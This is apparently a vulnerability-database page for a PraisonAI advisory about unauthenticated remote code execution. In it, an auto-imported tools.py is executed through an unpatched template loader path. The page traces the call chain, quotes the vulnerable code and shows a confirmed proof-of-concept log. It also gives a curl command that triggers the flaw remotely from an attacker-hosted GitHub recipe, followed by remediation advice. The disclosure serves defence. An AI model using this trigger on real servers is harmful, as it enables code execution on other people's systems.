PraisonAI CVE-2026-44334
HIGHSeverity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Confirmed remote HTTP exploitation with no auth or user interaction under default config warrants AV:N/AC:L/PR:N/UI:N; unrestricted code execution gives full C:H/I:H/A:H, overriding the input's understated AV:L.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
TL;DR
CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path *or* any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.
Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File | Line | Gate |
|---|---|---|
praisonai/tool_resolver.py | 77 | if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": |
praisonai/api/call.py | 80 | same |
But the equivalent sinks in praisonai/templates/tool_override.py were not patched:
# tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py))
# <-- exec_module
336 registry.update(tools)
337 except Exception:
338 pass
339
341
# 4. Template-local tools.py
342 if template_dir:
343 tools_py = Path(template_dir) / "tools.py"
344 if tools_py.exists():
345 try:
346 tools = loader.load_from_file(str(tools_py))
# <-- exec_module
347 registry.update(tools)
348 except Exception:
349 passload_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.
Attack chain
HTTP POST /v1/recipes/run
body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCEThe tool registry build runs *before* any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.
Confirmed execution (2026-04-25, praisonai 4.6.31)
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploitThe 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.
Reproduction (local-path variant)
Files under pocs/praisonai-cve-2026-40287-bypass/:
- evil_recipe/TEMPLATE.yaml - minimal recipe metadata
- evil_recipe/tools.py - payload (writes a marker file in tempdir)
- server.py - starts
praisonai.recipe.serve.create_app({})on127.0.0.1:8765(defaultauth: none) - exploit.py - single POST to
/v1/recipes/run
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.pyExpected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
Reproduction (remote GitHub variant)
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.
AnalysisAI
Unauthenticated remote code execution in PraisonAI (pip package praisonai, versions 4.5.139 through 4.6.31) allows attackers to run arbitrary Python in the server process by pointing the recipe runner at a malicious tools.py. This is a patch-coverage bypass of CVE-2026-40287: the earlier fix gated auto-import of tools.py behind the PRAISONAI_ALLOW_LOCAL_TOOLS=true env var in tool_resolver.py and api/call.py, but a third sink in templates/tool_override.py was left unguarded and executes on every recipe run. Publicly available exploit code exists (working PoC and confirmed execution in the advisory), though EPSS is only 0.02% and SSVC exploitation status is 'none'.
Technical ContextAI
PraisonAI is an open-source Python framework for building and running multi-agent AI workflows, exposing an HTTP API (praisonai[serve]) with a POST /v1/recipes/run endpoint. The root cause is CWE-94 (Improper Control of Generation of Code / code injection): the template loader's load_from_file() (templates/loader.py) ends in spec.loader.exec_module(module) with no allowlist, signature check, or environment gate. create_tool_registry_with_overrides() in templates/tool_override.py calls this unconditionally against both Path.cwd()/tools.py and <template_dir>/tools.py during registry construction, which happens before any LLM/agent step - so no API keys or workflow steps are needed. The affected package is identified by CPE pkg:pip/praisonai. Compounding the issue, SecurityConfig.allow_any_github (templates/security.py:30) defaults to True, so a recipe value like github:<owner>/<repo>/<recipe> is fetched from raw.githubusercontent.com and .py files survive validate_template_directory() because .py is an allowed extension.
RemediationAI
Vendor-released patch: upgrade praisonai to 4.6.32 or later (pip install 'praisonai>=4.6.32'), which closes the unguarded import sink in templates/tool_override.py. Until you can upgrade, apply compensating controls: set PRAISONAI_ALLOW_LOCAL_TOOLS to anything other than 'true' does NOT help here because this sink is unguarded, so instead disable untrusted recipe sources by setting SecurityConfig.allow_any_github=False (blocks the remote GitHub variant, at the cost of breaking legitimate GitHub-hosted recipes), enable authentication on the serve endpoint (default is auth: none - require an auth token, trading off open access for protection), and network-restrict POST /v1/recipes/run so it is not reachable from untrusted networks. Additionally avoid running the server with a writable tools.py in the process CWD to close the local-path/CWD variant. Consult the advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj for authoritative guidance.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-xcmw-grxf-wjhj